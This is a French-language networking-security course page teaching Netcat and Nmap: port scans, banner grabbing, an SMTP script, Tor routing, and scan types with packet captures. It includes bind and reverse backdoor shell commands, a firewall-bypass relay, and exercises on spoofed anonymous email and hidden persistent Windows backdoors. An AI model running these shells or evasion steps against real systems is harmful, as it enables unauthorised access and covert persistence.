Audit du réseau
- Utiliser Netcat
- Netcat
- Couteau suisse TCP/UDP
- Syntaxe de Netcat
- Labs à réaliser
- Consoles nécessaires
- Topologies client
- Topologie client
- Banner Gathering
- Script d’envoi SMTP
- Message reçu
- Connaître son adresse IP publique
- Torify le trafic netcat
- Topologies client/serveur
- Travail de laboratoire
- Document de laboratoire
- Utiliser Nmap
- Etablissement de sessions TCP 3 Way Handshake
- Machine à état TCP
- Drapeaux TCP
- Scan de ports avec netcat
- Scan de ports avec NMAP
- Scan furtif TCP SYN
- Autres scans Nmap
- Scans furtifs Scans TCP Null, FIN et Xmas
- Scan passif Idle Scan
- Scan UDP
- Scan TCP ACK
- Techniques d'évasion Nmap
- Option
-f
(fragmentation de paquets)
Utiliser Netcat
Objectifs
- Travail en solo ou en équipe :
- topologie client
- topologies client/server
- pare-feu
- Monter des sessions TCP et UDP avec Netcat :
- dans le LAN
- dans l’Internet
- A travers un pare-feu
- Rapport de lab
Prenez uniquement des cibles autorisées !
Rappel sur netstat
netstat, pour « network statistics », est une ligne de commande affichant des informations sur les connexions réseau, les tables de routage et un certain nombre de statistiques dont ceux des interfaces, sans oublier les connexions masquées, les membres multicast, et enfin, les messages netlink. La commande est disponible sous Unix (et ses dérivés dont Linux) et sous Windows NT compatibles.
Les paramètres utilisés avec cette commande doivent être préfixés avec un « moins » plutôt qu'un slash (/).
- -a : Affiche toutes les connexions TCP actives et les ports TCP et UDP sur lesquels l'ordinateur écoute.
- -b : Affiche le nom du programme impliqué dans la création de chaque connexion et ports ouverts (Windows uniquement).
- -p : Affiche le nom du programme impliqué dans la création de chaque connexion et le PID associé (Linux uniquement).
- -e : Affiche les statistiques ethernet comme le nombre d'octets et de paquets envoyés et reçus. Ce paramètre peut être combiné avec -s.
- -n : Affiche les connexions TCP actives, cependant les adresses et les ports sont affichés au format numérique, sans tentative de résolution de nom.
- -o : Affiche les connexions TCP actives et inclut l'identifiant du processus (PID) pour chaque connexion. Vous pouvez retrouver la correspondance entre les PID et les applications dans le gestionnaire des tâches de Windows. Ce paramètre peut être combiné avec -a, -n et * -p. Ce paramètre est disponible sous Windows XP, et Windows 2003 Server mais pas sous Windows 2000.
- -i : Affiche les interfaces réseaux et leur statistiques (non disponibles sous Windows).
- -r : Affiche le contenu de la table de routage (équivalent à route print sous Windows).
- -s : Affiche les statistiques par protocole. Par défaut, les statistiques sont affichées pour IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP et UDPv6. L'option -p peut être utilisée pour spécifier un sous-jeu de la valeur par défaut.
- /? : Affiche l'aide (seulement sous Windows).
Netcat
Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.
Il est conçu pour être un outil “back-end “ et peut-être utilisé directement par d’autres programmes et/ou scripts.
Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).
Netcat n'est pas nécessairement un outil de sécurité mais il est avant tout un outil de hacking. A priori, quelque soit l'environnement dans lequel il est utilisé, il n'exige aucun droit d'administration pour être exécuté.
Réalisons toutefois que cet outil rudimentaire peut mener diverses attaques qui sont vues ici à titre pédagogique :
- scan réseau,
- scan de ports TCP/UDP,
- Banner grabbing
- Chat ASCII
- Remote Backdoor Shell
- Reverse Remote Backdoor Shell
- Communications sécurisées SSL/Tor
Couteau suisse TCP/UDP
Binaire Windows à télécharger : https://joncraton.org/files/nc111nt.zip (mot de passe : nc)
Syntaxe de Netcat
$ nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
Labs à réaliser
- Topologies client :
- Scan de ports et multi-ports
- Trafic Legacy (HTTP, SMTP, ...)
- Torify du trafic netcat
- Topologies client/serveur :
- Charge TCP/UDP en ASCII (chat)
- Transfert de fichier
- Backdoor Shell
- Reverse Backdoor Shell
- Relay à travers un proxy filtrant
Consoles nécessaires
- Ouvrez un bloc-note gdrive pour y collecter vos essais (à partager avec le prof). Une machine (topologies client) dans un premier temps ou deux machines (topologies client/server).
- Une console de commande pour Netcat (Linux ou Windows).
- Une console de diagnostic (netstat ou ipconfig).
- Wireshark ou tcpdump.
- Sous Windows configurer le pare-feu finement.
Topologies client
Topologie client
Scan de ports
nc -v -w 1 -z cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
nc -vzw 1 cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
nc -vzw 1 cisco.foo.bar 23
cisco.foo.bar [8.9.10.11] 23 (telnet) : Connection refused
nc -vzw 1 cisco.foo.bar 53
cisco.foo.bar [8.9.10.11] 53 (domain) : Connection refused
nc -vzw 1 cisco.foo.bar 8080
cisco.foo.bar [8.9.10.11] 8080 (http-alt) open
nc -vzw 1 cisco.foo.bar 25
cisco.foo.bar [8.9.10.11] 25 (smtp) : Connection refused
nc -vzw 1 relay.skynet.be 25
relay.skynet.be [195.238.5.128] 25 (smtp) open
nc -vzw 1 8.8.8.8 53
google-public-dns-a.google.com [8.8.8.8] 53 (domain) open
Scan Multi-ports
nc -vzw 1 cisco.foo.bar 1-255
cisco.foo.bar [8.9.10.11] 143 (imap) open
cisco.foo.bar [8.9.10.11] 111 (sunrpc) open
cisco.foo.bar [8.9.10.11] 110 (pop3) open
cisco.foo.bar [8.9.10.11] 80 (http) open
cisco.foo.bar [8.9.10.11] 22 (ssh) open
Que se passe-t-il avec l’option -r ?
nc -rvzw 1 cisco.foo.bar 1-255
Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?
Ports ouverts / ports fermés
Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?
nc -vzw 1 cisco.foo.bar 80-81 :
Banner Gathering
nc -v cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze1
echo -e "HEAD / HTTP/1.0\n" | nc -v cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Sun, 12 Jan 2014 15:32:26 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
Script d’envoi SMTP
- Basé sur : http://giantdorks.org/alain/smtp-test-message-via-shell-script-using-netcat-instead-of-telnet/
#!/bin/bash
# script to send test mail with netcat.
# expects the following arguments:
# 1. recepient mail server
# 2. port (typically 25 or 465)
# 3. mail from (e.g. [email protected])
# 4. mail to (e.g. [email protected])
# for mail_input function
from=$3
to=$4
# error handling
function err_exit { echo -e 1>&2; exit 1; }
# check if proper arguments are supplied
if [ $# -ne 4 ]; then
echo -e "\n Usage error!"
echo " This script requires four arguments:"
echo " 1. recepient mail server"
echo " 2. port (typically 25 or 465)"
echo " 3. mail from (e.g. [email protected])"
echo " 4. mail to (e.g. [email protected])"
exit 1
fi
# create message
function mail_input {
# echo "ehlo $(hostname -f)"
echo "ehlo 10.10.10.10"
echo "MAIL FROM: <$from>"
echo "RCPT TO: <$to>"
echo "DATA"
echo "From: <$from>"
echo "To: <$to>"
echo "Subject: Testing one two three"
echo "This is only a test. Please do not panic. If this works, then all is well, else all is not well."
echo "In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit."
echo "."
echo "quit"
}
# test
#mail_input
# send
mail_input | nc $1 $2 || err_exit
vi smtp-test.sh
chmod +x smtp-test.sh
./smtp-test.sh relay.skynet.be 25 [email protected] [email protected]
220 relay.skynet.be ESMTP
250-relay.skynet.be
250-8BITMIME
250 SIZE 16777216
250 sender <[email protected]> ok
250 recipient <[email protected]> ok
354 go ahead
250 ok: Message 170208462 accepted
221 relay.skynet.be
- relay.skynet.be 25 -> trafic SMTP autorisé par le FAI Test à faire chez son propre FAI ou un relai SMTP ouvert.
Message reçu
Delivered-To: [email protected]
Received: by 10.182.155.65 with SMTP id vu1csp53918obb;
Sat, 11 Jan 2014 20:21:59 -0800 (PST)
X-Received: by 10.194.85.75 with SMTP id f11mr15767833wjz.47.1389500518905;
Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Return-Path: <[email protected]>
Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be. [195.238.6.171])
by mx.google.com with ESMTP id bp4si6953453wjb.110.2014.01.11.20.21.58
for <[email protected]>;
Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning [email protected] does not designate 195.238.6.171 as permitted sender) client-ip=195.238.6.171;
Authentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning [email protected] does not designate 195.238.6.171 as permitted sender) [email protected]
Message-Id: <[email protected]>
Date: 12 Jan 2014 05:21:36 +0100
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AnGJADQY0lJtgd8C/2dsb2JhbABagwtwB4IvJ4J1okgBkg4BYxd0gkWBeiSIGwGaEpQypGSCZ4E6BKosg2k
Received: from 2.223-129-109.adsl-dyn.isp.belgacom.be (HELO 10.10.10.10) ([109.129.223.2])
by relay.skynet.be with ESMTP; 12 Jan 2014 05:21:36 +0100
From: <[email protected]>
To: <[email protected]>
Subject: Testing one two three
This is only a test. Please do not panic. If this works, then all is well, else all is not well.
In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Connaître son adresse IP publique
nc -v checkip.eurodyndns.org 80
checkip.eurodyndns.org [80.92.65.89] 80 (http) open
GET http://checkip.eurodyndns.org/ HTTP/1.0\n
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:46:47 GMT
Server: Apache
Content-Length: 160
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8
<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.129.223.2
<br>Hostname: 109.129.223.2
</body></html>
Torify le trafic netcat
Tor permet de rendre anonymes tous les échanges Internet basés sur le protocole de communication TCP.
ncat --proxy 127.0.0.1:9050 --proxy-type socks4 checkip.eurodyndns.org 80
GET http://checkip.eurodyndns.org/ HTTP/1.0\n
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:49:32 GMT
Server: Apache
Content-Length: 169
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8
<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.163.234.5
<br>Hostname: hessel3.torservers.net
</body></html>
Topologies client/serveur
Sockets et sessions TCP maîtrisées
Vérifiez les sessions établies dans une seconde console Ouverture d’un socket en mode listening du port 1337 (Serveur TCP 1337), dans la console :
nc -l -p 1337
Pour faire très simple, on ouvre le port 1337 sur notre machine en local et on tend l’oreille !
(Il vaut mieux autoriser le pare-feu)
Connexion du client au serveur
nc cisco.foo.bar 1337
Chat TCP1337
Résultat : http://www.cloudshark.org/captures/b648fa680eae
Client/Serveur UDP
Le paramètre -u monte des sessions UDP.
Illustrez ce cas dans un exemple.
Capturez ce trafic et comparez aux messages de chat en TCP.
Transfert de fichiers
Un fichier à transférer “file.txt” du serveur Alice au client Bob (download).
Serveur Alice
nc -l 4444 < file.txt
Client Bob
nc -n 192.168.1.100 4444 > file.txt
Un fichier à transférer “file.txt” du client Bob au serveur Alice (upload)
Serveur Alice
nc -l 4444 > file.txt
Client Bob
nc 192.168.1.100 4444 < file.txt
Chiffrement du trafic avec openssl
Serveur
nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt
Client
openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444
Backdoor
Pour exécuter une attaque Backdoor :
Sur la machine à joindre
nc –l –p 3333 –v –e cmd.exe
ou
nc -l -p 3333 -v -e /bin/bash -i
Sur la machine distante
nc 8.9.10.11 3333
Oui mais comment traverser un pare-feu ?
Reverse Backdoor
Pour exécuter une attaque Backdoor :
Sur la machine à joindre
nc –l –p 3333
Sur la machine distante
nc 8.9.10.11 3333 -e cmd.exe
Configuration relay
Sometimes its useful to have little things like this available. But first, let me outline the scenario :
- You want ssh connection with a system
- The firewall is blocking inbound SSH connections
Assuming that you already have some sort of shell access on the target machine, This is your nice little work around:
$ mknod redirect p
$ nc -l -p [permitted_inbound_port] 0< redirect | nc 127.0.0.1 22 1> redirect
It works with two simply steps:
- Creates a named pipe using the first command.
- Creates a netcat listener that will redirect incoming connections to our pipe, which in turn uses the contents of our pipe as the input for an ssh connection to localhost on the target machine.
To connect, you simply connect to the machine using the appropriate login, yet with a different port:
$ ssh [login]@[target] -p [port_of_netcat_listener]
See more at: http://securityreliks.securegossip.com/2010/09/standard-netcat-relay/#sthash.96q4grRq.dpuf Source : http://securityreliks.securegossip.com/2010/09/standard-netcat-relay/
Travail de laboratoire
Exercices
- Mettre en oeuvre chaque attaque du document et rendre un travail qui reprend la réalisation de trois scripts : Script qui scanne une plage d’adresses IP et de ports en guise de paramètres.
- Script qui vérifie la présence de TOR et qui envoie un courriel usurpé en annonçant l’adresse IP publique anonyme, (l’adresse IP publique du FAI et l’adresse IP privée) de l’expéditeur.
- Script de transfert de dossier compressé et crypté en openssl
- Question de réflexion : comment installer un reverse backdoor shell Windows permanent à l’insu de l’administrateur ?
Document de laboratoire
Pour chaque attaque, un document (gdrive) qui vient remplir un cahier de laboratoires :
- Un diagramme (LucidChart) avec le nom des machines, adresses IP, ports, rôles, filtrage.
- Etat des sessions (netstat -a)
- Capture (Wireshark et Cloudshark)
- Console de commande netcat
- Console auxiliaire (TOR)
- Indiquer les paramètres de pare-feu
Utiliser Nmap
Etablissement de sessions TCP 3 Way Handshake
- Machine à état TCP
- Numéros de séquence et acquittement
- Structure et comparaison des en-têtes
- Drapeaux TCP
- Numéros de ports : https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
- Analyse de trafic SYN, SYN/ACK, ACK : https://www.cloudshark.org/captures/26c43039ccd6
- Analyse de trafic refusé par une pare-feu : https://www.cloudshark.org/captures/7c9253084c76
Machine à état TCP
Numéros de séquence et acquittement
Drapeaux TCP
- SYN : demande d'établissement de session ou de synchronisation des numéros de séquence
- ACK : confirme la transmission reçue et identifie le prochain numéro de séquence attendu (accusé de réception anticipatif)
- PSH : demande de pousser (envoyer) les données en mémoire tampon
- URG : données urgentes
- FIN : plus de transmissions à réaliser
- RST : remise à zéro d'une connexion
Un scan de ports TCP implique les champs drapeaux SYN, ACK et RST.
Scan de ports avec netcat
Des exercices avec Netcat ont déjà été proposés dans une section ci-dessus.
Scan de ports avec NMAP
Nmap (“Network Mapper”) est un outil open source d'exploration réseau et d'audit de sécurité. Il a été conçu pour rapidement scanner de grands réseaux, mais il fonctionne aussi très bien sur une cible unique.
Nmap est généralement utilisé pour les audits de sécurité mais de nombreux gestionnaires de systèmes et de réseaux l'apprécient pour des tâches de routine comme les inventaires de réseau, la gestion des mises à jour planifiées ou la surveillance des hôtes et des services actifs.
L'état d'un port est soit :
- ouvert (open) : indique que l'application de la machine cible est à l'écoute de paquets/connexions sur ce port.
- filtré (filtered) : indique qu'un pare-feu, un dispositif de filtrage ou un autre obstacle réseau bloque ce port, empêchant ainsi Nmap de déterminer s'il s'agit d'un port ouvert ou fermé.
- fermé (closed) : n'ont pas d'application en écoute, bien qu'ils puissent quand même s'ouvrir n'importe quand.
- ou non-filtré (unfiltered) : les ports répondent aux paquets de tests (probes) de Nmap, mais Nmap ne peut déterminer s'ils sont ouverts ou fermés.
Nmap renvoie également les combinaisons d'états ouverts|filtré et fermés|filtré lorsqu'il n'arrive pas à déterminer dans lequel des deux états possibles se trouve le port.
Scan TCP Connect
C'est la commande -sT
qui spécifie ce type de scan traditionnel. Voici des sorties sur un scan TCP Connect sur les ports biens connus d'une machine metaspoitable.
Plutôt que d'écrire des paquets bruts comme le font la plupart des autres types de scan, Nmap demande au système d'exploitation qui l'exécute d'établir une connexion sur le port de la machine cible grâce à l'appel système connect(). C'est le même appel système de haut-niveau qui est appelé par les navigateurs Web, les clients P2P et la plupart des applications réseaux qui veulent établir une connexion.
# nmap -sT -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:30 CET
Nmap scan report for 192.168.122.191
Host is up (0.0099s latency).
Not shown: 978 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2.50 seconds
Capture sur le port TCP 21 avec tcpdump
# tcpdump tcp port 21 &
[1] 14109
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Scan sur le port TCP 21 avec nmap
# nmap -sT -p 21 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT STATE SERVICE
21/tcp open ftp
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
Résultat de la capture de Kali2-0C
vers 192.168.122.191.ftp
:
- Echange SYN, SYN/ACK; ACK
- Message RST/ACK
SYN
# 20:32:36.128889 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [S], seq 2622041564, win 29200, options [mss 1460,sackOK,TS val 4298823 ecr 0,nop,wscale 10], length 0
SYN/ACK
20:32:36.129109 IP 192.168.122.191.ftp > Kali2-0C.49785: Flags [S.], seq 3495000159, ack 2622041565, win 5792, options [mss 1460,sackOK,TS val 156165 ecr 4298823,nop,wscale 6], length 0
ACK
20:32:36.129130 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [.], ack 1, win 29, options [nop,nop,TS val 4298823 ecr 156165], length 0
RST/ACK
20:32:36.129155 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [R.], seq 1, ack 1, win 29, options [nop,nop,TS val 0 ecr 156165], length 0
Scan furtif TCP SYN
-sS
furtif Scan TCP SYN
Le scan SYN est celui par défaut et le plus populaire pour de bonnes raisons. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu'il n'est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu'il ne termine jamais les connexions TCP. Il marche également contre toute pile respectant TCP, au lieu de dépendre des particularités environnementales spécifiques comme c'est le cas avec les scans Fin/Null/Xmas, Maimon ou Idle. En plus, il permet une différentiation fiable entre les états ouvert, fermé et filtré.
Cette technique est souvent appelée le scan demi-ouvert (half-open scanning), car il n'établit pas pleinement la connexion TCP. Il envoie un paquet SYN et attend sa réponse, comme s'il voulait vraiment ouvrir une connexion. Une réponse SYN/ACK indique que le port est en écoute (ouvert), tandis qu'une RST (reset) indique le contraire. Si aucune réponse n'est reçue après plusieurs essais, le port est considéré comme étant filtré. Le port est également considéré comme étant filtré si un message d'erreur « unreachable ICMP (type 3, code 1,2, 3, 9, 10 ou 13) » est reçu.
Exemple d'un port ouvert :
# nmap -sS -p 21 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:49 CET
Nmap scan report for 192.168.122.191
Host is up (0.00067s latency).
PORT STATE SERVICE
21/tcp open ftp
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
# 20:49:50.664419 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [S], seq 943880828, win 1024, options [mss 1460], length 0
20:49:50.664728 IP 192.168.122.191.ftp > Kali2-0C.48258: Flags [S.], seq 2525202399, ack 943880829, win 5840, options [mss 1460], length 0
20:49:50.664751 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [R], seq 943880829, win 0, length 0
20:49:50.764623 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [S], seq 943946365, win 1024, options [mss 1460], length 0
20:49:50.764939 IP 192.168.122.191.ftp > Kali2-0C.48259: Flags [S.], seq 2529707968, ack 943946366, win 5840, options [mss 1460], length 0
20:49:50.764961 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [R], seq 943946366, win 0, length 0
Exemple d'un port fermé :
# tcpdump -v tcp port 88 &
[1] 20216
# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
# nmap -sS -p 88 -Pn 192.168.122.1
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:54 CET
Nmap scan report for 192.168.122.1
Host is up (0.00020s latency).
PORT STATE SERVICE
88/tcp closed kerberos-sec
MAC Address: FE:54:00:01:69:7C (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
# 20:54:37.000511 IP (tos 0x0, ttl 37, id 14382, offset 0, flags [none], proto TCP (6), length 44)
Kali2-0C.44374 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc2 (correct), seq 2292300697, win 1024, options [mss 1460], length 0
20:54:37.000625 IP (tos 0x0, ttl 64, id 33431, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.1.kerberos > Kali2-0C.44374: Flags [R.], cksum 0x486b (correct), seq 0, ack 2292300698, win 0, length 0
20:54:37.100696 IP (tos 0x0, ttl 43, id 1489, offset 0, flags [none], proto TCP (6), length 44)
Kali2-0C.44375 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc3 (correct), seq 2292235160, win 1024, options [mss 1460], length 0
20:54:37.100901 IP (tos 0x0, ttl 64, id 33433, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.1.kerberos > Kali2-0C.44375: Flags [R.], cksum 0x486c (correct), seq 0, ack 2292235161, win 0, length 0
Scan d'une Windows 10 pro avec pare-feu et RDP activé
# nmap 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:08 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00061s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
Scan d'une machine Windows 8.1 sans pare-feu
# nmap 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:14 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00046s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
10243/tcp open unknown
49155/tcp open unknown
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 25.48 seconds
Scan d'un machine Windows XP familial
# nmap 192.168.122.228
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:18 CET
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds
Autres scans Nmap
Scans furtifs Scans TCP Null, FIN et Xmas
-sN; -sF; -sX
(Scans TCP Null, FIN et Xmas)
Ces trois types de scans exploitent une subtile faille de la RFC TCP pour différencier les ports entre ouverts et fermés. La page 65 indique que “si le port [de destination] est dans l'état fermé... un segment ne contenant pas le drapeau RST provoque l'émission d'un paquet RST comme réponse.”. La page suivante indique que pour les paquets envoyés à des ports sans aucun des drapeaux SYN, RST ou ACK activés: “il est peut vraisemblable que cela arrive, mais si cela est le cas, il faut rejeter le segment.”
Pour les systèmes respectant ce texte de la RFC, soit uniquement des hôtes UNIX et certainement pas Windows, chaque paquet ne contenant ni SYN, ni RST, ni ACK se voit renvoyé un RST si le port est fermé et aucune réponse si le port est ouvert. Tant qu'aucun de ces drapeaux n'est utilisé, toute combinaison des trois autres (FIN, PSH et URG) son valides. Nmap exploite cela avec les trois types de scans:
Scan Null (-sN)
N'active aucun des bits (les drapeaux de l'en-tête TCP vaut 0).
Scan FIN (-sF)
N'active que le bit FIN.
Scan Xmas (-sX)
Active les drapeaux FIN, PSH et URG, illuminant le paquet comme un arbre de Noël (NDT: la fracture cognitive entre la culture anglo-saxonne et française se ressent fortement dans cette traduction...).
Ces trois types de scan ont exactement le même comportement, sauf pour les drapeaux TCP utilisés dans des paquets de tests (probes packets). Si un RST est reçu, le port est considéré comme étant fermé, tandis qu'une absence de réponse signifiera qu'il est dans l'état ouvert|filtré. Le port est marqué comme filtré si un message d'erreur ICMP « unreachable (type 3, code 1, 2, 3, 9, 10 ou 13) » est reçu.
L'avantage principal de ces types de scans est qu'ils peuvent furtivement traverser certains pare-feux ou routeurs filtrants sans état de connexion (non-statefull). Un autre avantage est qu'ils sont même un peu plus furtifs que le scan SYN. N'y comptez pas trop dessus cependant -- la plupart des IDS modernes sont configurés pour les détecter. L'inconvénient majeur est que tous les systèmes ne respectent pas la RFC 793 à la lettre. Plusieurs systèmes renvoient des RST aux paquets quelque soit l'état du port de destination, qu'il soit ouvert ou pas. Ceci fait que tous les ports sont considérés commefermé. Les plus connus des systèmes qui ont ce comportement sont Microsoft Windows, plusieurs équipements Cisco, BSDI et IBM OS/400. Ce type de scan fonctionne cependant très bien contre la plupart des systèmes basés sur UNIX. Un autre désagrément de ce type de scan et qu'ils ne peuvent pas distinguer les ports ouvertsde certains autres qui sont filtrés, vous laissant face à un laconique ouvert|filtré.
Exemples :
# nmap -sF -p 88 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:35 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT STATE SERVICE
88/tcp closed kerberos-sec
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali2-0C:~# 21:35:18.504313 IP (tos 0x0, ttl 40, id 10670, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.58705 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f33 (correct), seq 2577626922, win 1024, length 0
21:35:18.504489 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.191.kerberos > Kali2-0C.58705: Flags [R.], cksum 0x431f (correct), seq 0, ack 2577626923, win 0, length 0
21:35:18.604488 IP (tos 0x0, ttl 39, id 51250, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.58706 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f32 (correct), seq 2577561387, win 1024, length 0
21:35:18.604675 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.191.kerberos > Kali2-0C.58706: Flags [R.], cksum 0x431e (correct), seq 0, ack 2577561388, win 0, length 0
# nmap -sF -p 80 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.0012s latency).
PORT STATE SERVICE
80/tcp open|filtered http
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# 21:32:56.020304 IP (tos 0x0, ttl 39, id 17011, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.53120 > 192.168.122.191.http: Flags [F], cksum 0x4883 (correct), seq 2828956856, win 1024, length 0
21:32:56.120480 IP (tos 0x0, ttl 50, id 17448, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.53121 > 192.168.122.191.http: Flags [F], cksum 0x4880 (correct), seq 2829022393, win 1024, length 0
Scan passif Idle Scan
-sI <zombie host[:probeport]>
Un idle scan, dumb scan ou zombi scan est une méthode de balayage de port TCP qui, grâce à des utilitaires tels que Nmap et Hping, utilise l'envoi de paquets possédant une adresse IP usurpée.
Cet exploit complexe permet à la fois de balayer les ports d'une machine ainsi que de mettre en évidence les liaisons de confiance (s'appuyant sur les adresses IP) entre les machines. L'attaque consiste en l'envoi de paquets forgés vers une machine donnée – la cible – dans le but d'obtenir des informations à propos d'elle mais via une autre machine – le zombi.
Cette méthode de scan avancé permet de faire un véritable scan de port TCP en aveugle, (dans le sens où aucun paquet n'est envoyé directement à la cible depuis votre vraie adresse IP). En effet, la technique employée consiste à récolter des informations sur les ports ouverts de la cible en utilisant un exploit basé sur la prédictibilité de la génération des identifiants de fragmentation IP de l'hôte relais (le zombie). Les systèmes IDS considéreront que le scan provient de la machine zombie que vous avez spécifié (qui doit remplir certains critères).
